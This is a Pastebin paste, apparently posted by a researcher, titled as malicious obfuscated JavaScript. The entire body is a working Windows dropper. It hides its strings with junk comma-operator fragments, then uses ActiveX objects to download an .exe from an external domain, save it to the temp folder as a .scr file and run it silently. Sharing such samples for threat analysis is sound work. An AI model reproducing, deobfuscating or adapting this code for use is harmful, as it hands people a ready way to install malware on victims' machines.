Advertisement
dynamoo

Malicious obfuscated Javascript

Feb 4th, 2016
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4.     aXRDOrWUv= this['Act' + ('74Yqk', 'HB', 'n3I9r', 'i') + 'v' + ('dOwjJ', 'Z6TV', 'HM', 'e') + 'XO' + ('T1lk', 't2X', 'p0', 'b') + 'je' + ('rl9F9', 'ZT6YZ', 'U4', 'c') + 't'];
  5.  
  6.     var aq15RXZno = new aXRDOrWUv('WSc' + ('5B3', 'VpUX', '3nn', 'r') + 'ip' + ('Pg6vqN', 'jUtj', 'onD5pI', 't') + '.S' + ('9BS3', 'f7XC', 'Us', 'h') + 'e' + ('XIP', '2JUl', 'iJio9', 'l') + 'l');
  7.     var aQRUZrgSD = aq15RXZno['Ex' + ('aGueg', 'ldmo8', 'GaLpZd', 'p') + 'a' + ('8Morw', 'PFITi', 'AM8Qwu', 'n') + 'd' + ('ScIymu', 'mHp5Pb', 'hHa6', 'E') + 'n' + ('0FNAsW', 'ZqvT', 'HBR', 'v') + 'i' + ('PqN', 'vCq', 'U8a1v4', 'r') + 'o' + ('RCD', '3Dezww', '7ol', 'n') + 'm' + ('M0r', 'DRh', 'Zryv', 'e') + 'nt' + ('Gnckb', 'XpQ', 'W7Bk', 'S') + 't' + ('xfOZxr', 'PYQhxl', '72bkm', 'r') + 'i' + ('kLrOH', 'q11e', 'h3yP', 'n') + 'g' + ('EtfW', 'BJ', 'EV', 's') + '']('%T' + ('3l3u', 'L2', 'N4Om', 'E') + 'M' + ('VankPR', 'MScw', 'Qr', 'P') + '%' + ('IxdL1n', '4Xj9', 'GvEBG', '/') + '') + "2MnLqMlW"+'.sc' + ('TwhLI', 'MzefqX', 'DJP1f', 'r') + '';
  8.     var abv6VIEpz = new aXRDOrWUv('MSX' + ('3Lgyp', 'erNKlk', '63', 'M') + 'L2' + ('C4832W', 'LLI1E', 'BIsRg', '.') + 'XM' + ('vkwfF', 'hMU7Fx', 'OB', 'L') + 'H' + ('jZv10', 'JB', 'ct94bE', 'T') + 'T' + ('U5AbR', 'iw2v', 'DJ4', 'P') + '');
  9.     abv6VIEpz['onr' + ('YKJIl', 'UPLZ1', 'pJku', 'e') + 'a' + ('lOOSR', 'cv2', 'sLR', 'd') + 'y' + ('A9Rd4', 'Y4Hot', 'IXLe', 's') + 't' + ('2brmo', 'pFpbwQ', '70yk4', 'a') + 't' + ('9XID', 'rBaF', 'LI6c5u', 'e') + 'c' + ('ayFG', 'mOpV', 'ua', 'h') + 'a' + ('8agxB', 'IhMt0T', '5nPzy', 'n') + 'g' + ('eNB', 'dw', 'HH', 'e') + ''] = function() {
  10.         if (abv6VIEpz['re' + ('OCnqu6', 'hAIag', 'y6n6v', 'a') + 'dy' + ('jdow', 'Adrey', '3aF', 's') + 't' + ('MbWmT', 'DH', 'J4LeG', 'a') + 't' + ('Uu4E4', '6jQ', 'm13', 'e') + ''] === 4) {
  11.             var avjzXzsAg = new aXRDOrWUv('ADO' + ('1CbVJO', 'oyG9N', 'glh', 'D') + 'B.' + ('WQG2', 'xp', 'ytkf', 'S') + 't' + ('SuhB', 'T0S', 'aFYq', 'r') + 'e' + ('cqc2', 'eb', 'DGd71', 'a') + 'm');
  12.             avjzXzsAg['op' + ('kUEW', 'yW6', '7L', 'e') + 'n']();
  13.             avjzXzsAg['typ' + ('nKczMj', 'XXsEaz', 'DZ2XT', 'e') + ''] = 1;
  14.             avjzXzsAg['wri' + ('gQd', 'XZxv', 'VgXv2', 't') + 'e'](abv6VIEpz['Re' + ('eLE', 'kj2j', 'Zd4', 's') + 'po' + ('kKyJ', 'yhejc', 'hHxx', 'n') + 's' + ('MLbb6', 'dpRd', 'V7YfS', 'e') + 'Bo' + ('A4hPot', 'FaR', 'boZ', 'd') + 'y']);
  15.             avjzXzsAg['pos' + ('34o', 'VC6R', '47CB6', 'i') + 't' + ('n34Rn', '2eXdC', 'bc8egx', 'i') + 'on'] = 0;
  16.             avjzXzsAg['sa' + ('O4U', 'bxuiLb', 'Ogxc0', 'v') + 'eT' + ('YN3W', 'f4dwCV', 'NKNHD', 'o') + 'Fi' + ('8h0k', 'PAu1A3', 'zRvv', 'l') + 'e'](aQRUZrgSD, 2);
  17.             avjzXzsAg['clo' + ('3icY2', 'JQHnPX', '6YQ3', 's') + 'e']();
  18.         };
  19.     };
  20.     try {
  21.         aBjTUShbi = 'Ru' + ('P1ChA', 'N5jy', 'mRSlT', 'n') + '';
  22.         abv6VIEpz['op' + ('AsyxY', 'wOJkf', '9gT', 'e') + 'n']('GET' , 'ht' + ('WGN', '3Fuoy', 'uiX', 't') + 'p:' + ('vVw1Kf', 'Zxu', 'qW6', '/') + '/c' + ('2uY', 'xD9Wc', 'quun', 'a') + 'f' + ('iS028l', 'FQ', '6Mn', 'e') + 'cl' + ('qoW5WA', 'SML', 'hfG', '.') + '1p' + ('Yvf', 'EB', 'jr', 'w') + 'o' + ('eIjc', 'I9', 'EKu', 'r') + 'ks' + ('gQOww', 'LvY0', 'CBzV', '.') + 'c' + ('liBEvK', 'FZ1', 'tyWK', 'o') + 'm' + ('gVd1qc', 'WO', 'wJHp4', '/') + '43' + ('JvM', 'aM', 'zg', '5') + '43' + ('05ig0', 'hrIj', 'wWU', 'r') + '3' + ('jkEl4', '7a', 'TiT', '4') + 'r' + ('q94Ip4', 'HvW', 'Us', '/') + '84' + ('IB83gt', 'pA', 'JuB', '3') + 'tf' + ('A3NEL', 'J0U', 'WV9', '.') + 'e' + ('X8u5bL', 'ja9C', 'DdxhNA', 'x') + 'e', false);
  23.         abv6VIEpz['se' + ('hbmc', 'j7AI', 'xQ', 'n') + 'd']();
  24.         aq15RXZno [aBjTUShbi](aQRUZrgSD, 1-1, 1-1);      
  25.     } catch (ajg9ggxFs) {};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement